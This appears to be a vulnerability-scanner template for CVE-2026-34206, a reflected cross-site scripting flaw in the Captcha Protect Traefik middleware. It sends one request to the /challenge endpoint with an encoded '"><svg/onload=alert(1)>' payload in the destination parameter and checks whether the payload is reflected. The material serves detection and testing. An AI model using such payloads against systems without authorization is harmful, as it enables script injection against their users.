id: CVE-2026-34206

info:
  name: "Captcha Protect - Reflected Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Captcha Protect is a Traefik middleware that presents an anti-bot challenge to IPs in a
    subnet when traffic spikes are detected. Prior to version 1.12.2, the challenge page
    (GET /challenge) reflected the client-supplied `destination` query parameter into the
    page's hidden input using Go's text/template, which performs no contextual HTML escaping.
    An unauthenticated attacker can supply a crafted `destination` value that breaks out of the
    value attribute and injects arbitrary script into the challenge page.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-34206&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=captcha-protect&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-34206
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,captcha-protect,traefik,xss
http:
  - method: GET
    path:
      - "{{BaseURL}}/challenge?destination=vedasINJ%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vedasINJ"><svg/onload=alert(1)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200